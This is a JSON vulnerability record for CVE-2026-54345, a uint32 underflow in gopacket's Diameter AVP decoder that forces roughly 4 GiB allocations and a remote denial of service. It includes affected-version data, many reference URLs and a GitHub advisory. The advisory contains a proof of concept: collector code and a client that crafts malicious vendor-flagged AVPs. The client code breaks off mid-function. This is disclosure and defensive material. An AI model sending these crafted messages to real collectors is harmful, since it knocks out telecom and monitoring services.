{"id":"CVE-2026-54345","aliases":["EUVD-2026-49893","GHSA-6r28-9ppf-4hj5","GO-2026-6121","SUSE-SU-2026:23625-1","UBUNTU-CVE-2026-54345","openSUSE-SU-2026:21761-1"],"status":"published","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0079,"percentile":0.56713,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-191","CWE-770"],"published":"2026-07-28T16:14:12Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"Go","package":"github.com/gopacket/gopacket","fixed_in":["1.6.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.6.0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.10-1","1.1.11-1","1.1.11-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.12-2","1.1.13-1","1.1.14-1","1.1.14-2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.14-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1","1.2.0-1","1.2.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-3","1.1.19-4","1.1.19-6"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-gopacket-gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"gopacket","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.19-6.2","1.1.19-6.2build1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"gopacket","product":"gopacket"}],"references":[{"url":"https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5","tags":["x_refsource_CONFIRM","exploit","Exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/gopacket/gopacket/commit/145859d0eaee1a6f5925ffb93851c976449c3311","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/gopacket/gopacket/releases/tag/v1.6.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-6r28-9ppf-4hj5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54345.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54345","tags":["advisory"]},{"url":"https://github.com/gopacket/gopacket","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-54345","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54345","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-54345","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:14:12.097Z","modified":"2026-07-28T17:11:47.628Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-191","CWE-770"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-49893","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the Diameter AVP decoder computes an AVP data length by subtracting a fixed header size from an attacker-controlled AVP Length field, so a vendor-flagged AVP whose Length is smaller than the 12-byte header underflows the unsigned 32-bit value and drives an unbounded allocation of roughly 4 GiB, and two such messages in succession OOM-kill a collector, causing an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","status":"published","published":"2026-07-28T16:14:12Z","modified":"2026-07-28T17:11:47Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:30.949894Z"}],"ghsa":[{"id":"GHSA-6r28-9ppf-4hj5","title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","description":"## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length \u003e= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length \u003c 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -\u003e CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])\u003c\u003c16 | uint32(data[6])\u003c\u003c8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length \u003c 8 {                       // only rejects \u003c 8\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] \u0026 0x80\n    if len(data) \u003c 12 { ... }\n    avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n    headerSize = 12                       // header is now 12, but only \u003e= 8 was checked\n    dataOffset = 12\n}\n\npaddedLength := avp.Length                // equals avp.Length; for avp.Length \u003c= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) \u003c paddedLength {     // only requires ~12 bytes present\n    return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -\u003e panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length \u003c 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -\u003e sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -\u003e `(*Diameter).DecodeFromBytes` (diameter.go:118) -\u003e parses the 20-byte header -\u003e `avpData := data[20:d.MessageLength]` -\u003e AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -\u003e sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go — accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])\u003c\u003c16 | uint32(hdr[2])\u003c\u003c8 | uint32(hdr[3])\n\tif msgLen \u003c 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder's `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen \u003e= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go — usage: client \u003caddr\u003e \u003cavpLen\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80)       // Flags: Vendor bit set -\u003e headerSize becomes 12\n\tavp = append(avp, byte(avpLen\u003e\u003e16), byte(avpLen\u003e\u003e8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen \u003c 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i \u003c padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) \u003c 12 {\n\t\t\tavp = append(avp, 